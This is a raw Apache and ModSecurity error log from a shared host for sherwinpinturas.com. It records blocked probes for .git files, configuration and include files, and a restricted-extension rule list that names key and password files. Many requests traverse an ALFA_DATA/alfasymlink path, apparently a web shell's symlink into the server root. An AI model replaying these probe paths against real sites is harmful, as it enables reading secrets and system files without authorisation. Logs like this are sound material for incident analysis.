[Mon Oct 26 06:04:16.511612 2026] [security2:error] [pid 3010063:tid 3010063] [client 107.172.76.131:52930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8llFQCSjBN4LPVCMiTFAAAABA"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:04:18.923236 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 98.84.131.195:32283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:27.003425 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.215.221.125:57083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:30.915983 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 44.217.177.142:7039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:34.935995 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 100.25.120.246:58100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:43.034099 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 18.211.148.239:2781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/flags
[Mon Oct 26 06:04:46.942417 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 50.17.193.48:54817] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:47.535831 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 185.191.171.12:19100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:50.842232 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 98.80.130.239:42064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:04:55.129910 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.212.131.50:40682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:03.417726 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 185.191.171.13:26706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/cache_dma
[Mon Oct 26 06:05:06.946059 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 54.83.240.58:17429] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:11.112529 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 184.73.195.18:10113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:15.888667 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 18.205.213.231:12359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:18.986997 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 34.202.88.37:51862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:27.474690 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 23.21.228.180:14521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:31.576692 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.22.64.232:39845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:34.992912 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 18.214.124.6:37303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/rom
[Mon Oct 26 06:05:39.010157 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 52.1.157.90:6407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:43.104554 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 34.227.234.246:1758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:47.304626 2026] [security2:error] [pid 3010070:tid 3010070] [client 16.216.88.106:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at8l-zODl0mpFx8K2dB2VAAAABU"]
[Mon Oct 26 06:05:47.305077 2026] [security2:error] [pid 3010070:tid 3010070] [client 16.216.88.106:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at8l-zODl0mpFx8K2dB2VAAAABU"]
[Mon Oct 26 06:05:47.305405 2026] [security2:error] [pid 3010070:tid 3010070] [client 16.216.88.106:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at8l-zODl0mpFx8K2dB2VAAAABU"]
[Mon Oct 26 06:05:47.362053 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 54.83.56.1:5131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:51.081783 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 34.205.170.13:18439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:05:55.194071 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 34.234.197.175:60520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0a/subsystem/devices/device:07/subsystem/uevent
[Mon Oct 26 06:05:59.539865 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 100.28.44.58:58733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:03.060415 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 98.83.177.42:63650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:17.501138 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 85.208.96.198:14928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/sanity_checks
[Mon Oct 26 06:06:19.359693 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.200.142.199:62603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:27.283063 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.197.82.195:48311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:31.335608 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.3.104.214:29881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:39.553489 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 54.162.69.192:48631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:43.356302 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.222.85.38:30510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:06:55.438959 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.193.102.198:55580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:03.555464 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.235.158.162:18269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:07.578936 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.215.61.66:14451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:12.142530 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 54.90.8.255:19293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_rng/unbind
[Mon Oct 26 06:07:15.418671 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.205.113.104:40246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:16.954322 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 85.208.96.208:51692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:19.563187 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 35.171.141.42:14085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:20.735021 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:52932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8mTFwJcrReXfrIodgy4QAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 06:07:20.735078 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:52932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8mTFwJcrReXfrIodgy4QAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 06:07:27.574419 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.87.62.248:3042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:31.973439 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.205.74.196:26176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:35.542956 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 3.209.174.110:7294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:43.485674 2026] [ssl:error] [pid 3008090:tid 3008090] (22)Invalid argument: [client 44.194.139.149:33410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:47.582956 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 100.29.34.97:36372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/xen-platform-pci/bind
[Mon Oct 26 06:07:51.814927 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.204.89.12:35041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:55.564267 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 34.192.67.98:57653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:07:59.676655 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 98.82.63.147:10259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:07.722620 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 52.204.89.12:65316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/remove_id
[Mon Oct 26 06:08:11.698571 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 23.23.212.212:64871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:15.809789 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.223.193.255:27762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:19.858089 2026] [ssl:error] [pid 3010074:tid 3010074] (22)Invalid argument: [client 44.221.105.234:29648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:27.790696 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 54.198.33.233:16707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:31.745196 2026] [core:error] [pid 3011354:tid 3011354] (13)Permission denied: [client 35.169.119.108:50472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.3/rescan
[Mon Oct 26 06:08:35.662294 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 3.224.215.150:39809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:39.685721 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 54.152.163.42:17445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:43.908648 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 18.232.11.247:14401] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:07/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 06:08:51.755543 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 98.82.59.253:34859] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:08:55.804497 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 100.29.63.24:28387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:04.083252 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.83.56.1:39020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:08.259236 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 34.225.243.131:21895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/rescan
[Mon Oct 26 06:09:10.765557 2026] [security2:error] [pid 3000155:tid 3000155] [client 217.182.195.233:43812] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/myt/params.inc"] [unique_id "at8mxsSU-1yln6Gx7K9CTwAAABE"]
[Mon Oct 26 06:09:10.766001 2026] [security2:error] [pid 3000155:tid 3000155] [client 217.182.195.233:43812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/myt/params.inc"] [unique_id "at8mxsSU-1yln6Gx7K9CTwAAABE"]
[Mon Oct 26 06:09:10.793661 2026] [security2:error] [pid 3000155:tid 3000155] [client 217.182.195.233:43812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at8mxsSU-1yln6Gx7K9CTwAAABE"]
[Mon Oct 26 06:09:11.739675 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 50.19.79.213:32621] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:13.298177 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 185.191.171.1:38530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:27.680945 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 52.0.105.244:31352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:31.640106 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 52.45.15.233:4496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:35.715651 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 34.195.60.66:31360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:09:52.611515 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 18.207.89.138:49957] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:03/subsystem/devices/PNP0303:00/physical_node/driver/uevent
[Mon Oct 26 06:09:57.014449 2026] [security2:error] [pid 3000155:tid 3000155] [client 85.208.96.196:22956] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_opt.inc"] [unique_id "at8m9MSU-1yln6Gx7K9CYQAAABE"]
[Mon Oct 26 06:09:57.015166 2026] [security2:error] [pid 3000155:tid 3000155] [client 85.208.96.196:22956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_opt.inc"] [unique_id "at8m9MSU-1yln6Gx7K9CYQAAABE"]
[Mon Oct 26 06:09:57.015774 2026] [security2:error] [pid 3000155:tid 3000155] [client 85.208.96.196:22956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_opt.inc"] [unique_id "at8m9MSU-1yln6Gx7K9CYQAAABE"]
[Mon Oct 26 06:10:15.885282 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 44.221.227.90:52718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/rescan
[Mon Oct 26 06:10:19.806336 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.243.63.52:59541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:23.638221 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.83.180.239:22108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:31.794877 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.159.98.248:30729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:34.219711 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 85.208.96.209:36320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:36.028447 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.213.106.226:47876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:43.721289 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 34.194.165.45:55419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:47.885472 2026] [ssl:error] [pid 2995190:tid 2995190] (22)Invalid argument: [client 34.195.248.30:29878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:10:51.837369 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.197.102.71:52184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:03.482323 2026] [security2:error] [pid 3000155:tid 3000155] [client 77.83.39.94:39898] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8nN8SU-1yln6Gx7K9CZQAAABE"]
[Mon Oct 26 06:11:03.482590 2026] [security2:error] [pid 3000155:tid 3000155] [client 77.83.39.94:39898] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8nN8SU-1yln6Gx7K9CZQAAABE"]
[Mon Oct 26 06:11:03.482882 2026] [security2:error] [pid 3000155:tid 3000155] [client 77.83.39.94:39898] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8nN8SU-1yln6Gx7K9CZQAAABE"]
[Mon Oct 26 06:11:03.747307 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.1.157.90:2373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:09.881252 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.7.13.143:47031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:11.843313 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 98.83.10.183:61131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:19.902928 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 34.231.156.59:38830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:24.405982 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.207.47.227:7326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:32.347540 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 185.191.171.18:37132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/free_calls
[Mon Oct 26 06:11:43.775375 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.221.222.168:4634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:11:58.308513 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbnWyvchEwsg-8-hngwAAAAs"]
[Mon Oct 26 06:11:58.308872 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbnWyvchEwsg-8-hngwAAAAs"]
